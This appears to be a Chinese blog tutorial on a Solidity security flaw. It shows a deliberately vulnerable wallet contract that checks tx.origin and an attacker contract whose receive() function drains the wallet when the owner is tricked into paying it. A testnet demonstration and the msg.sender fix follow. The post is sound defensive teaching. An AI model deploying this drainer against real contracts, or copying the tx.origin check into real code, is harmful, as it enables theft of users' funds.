id:BSN_2021
公众号:BSN研习社
背景:由于公链环境下所有的信息都是共享的,智能合约相当于是透明的,任何人只需知道其地址就可以调用内部的方法,所以开发者在开发合约时,逻辑判断一般会添加一下权限的校验,以提高其安全性。但是有时候对其了解不深,会带来一些潜在的隐藏bug。环境准备
目标:验证当合约内部使用 tx.origin 做权限校验时,攻击者可以绕过逻辑约束进行资金盗取。
对象:适用于用Solidity语言开发的智能合约,例如BSN中的武汉链(基于ETH)和泰安链(基于 fisco bcos)上运行的智能合约。
?两个合约文件,一个为用户钱包合约(TxUserWallet ),另一个为攻击钱包合约(TxAttackWallet )。
?两个账户,分别为以上两个合约的owner。预制为 TxUserWallet owner:
0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9
TxAttackWallet owner:
0x5adaCf91A3C4e9a7541f0dA89dC575354C075941
合约文件_TxUserWallet.sol_如下图所示:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
event Deposit(uint256 balance);
constructor() payable {
owner = msg.sender;
}function supplyFunds() payable public {
emit Deposit(msg.value);
}function transferTo(address payable dest, uint amount) public {
// THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
require(tx.origin == owner);
dest.transfer(amount);
}function balanceOf() public view returns(uint){
return address(this).balance;
}function withdraw() public {
payable(owner).transfer(address(this).balance);
}}
合约文件_TxAttackWallet.sol_如下图所示:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface TxUserWallet {
function transferTo(address payable dest, uint amount) external;
}contract TxAttackWallet {
address payable owner;
TxUserWallet userWallet;
constructor(TxUserWallet userWalletAddr) {
owner = payable(msg.sender);
userWallet = userWalletAddr;
}function balanceOf() public view returns(uint){
return address(this).balance;
}receive() external payable {
userWallet.transferTo(owner, address(userWallet).balance);
}
}
合约部署
使用remix分别部署两个合约
1.部署合约TxUserWallet的过程截图
文章图片
合约部署成功的截图如下
文章图片
- 部署合约TxAttackWallet 的过程截图
注意:部署的时候需要将“用户钱包合约的地址”进行预制,用于后续攻击时使用。
文章图片
合约部署成功的截图如下
文章图片
攻击测试
攻击原理为诱骗合约TxUserWallet的owner对合约TxAttackWallet进行转账操作。因为技术上当合约TxAttackWallet接受ether时会触发receive()方法,从而进行对TxUserWallet合约进行盗取ether。
文章图片
文章图片
现在使用TxUserWallet 的owner账户对合约TxAttackWallet进行转账操作。即 使用账户0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9向合约账户0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd转账0.001(金额任意)。
文章图片
转账交易记录 https://ropsten.etherscan.io/...
转账操作成功后,我们来查看一下TxUserWallet拥有的0.00002 Ether是否被盗取了,截图如下
文章图片
上图可以看出余额已变为零,接下来看一下TxAttackWallet的owner账户余额,截图如下
文章图片
上图可以发现一笔0.00002 Ether转账记录,同时对比余额变动,至此已盗取成功。
结论
综上发现,当我们使用tx.origin做校验时,得到的是_交易原始签名地址而不是攻击合约的地址_,从而绕过了业务约束逻辑,将所有资金进行了转移操作。
【区块链合约安全系列(一)公链合约权限校验引发的严重安全问题】另外,那如何进行修复呢?只需要将tx.origin改为msg.sender去做校验即可。有兴趣的可以试一下。
推荐阅读
- 区块链的应用领域——公益(六)
- 区块链的应用领域——保险(五)
- 近期BSN开发常见问题答疑
- 人工智能|创新实践”项目介绍9(《Taekwondo Automatic Scoring System》)
- 腾讯|微信的平台之路 | 十年复盘 EP01
- 广告|微信十周年了,一文速览六大生态产品成绩单
- 区块链的应用领域——公共服务(三)
- 电子合同助力企业数字抗疫
- 一图读懂FISCO BCOS MVP计划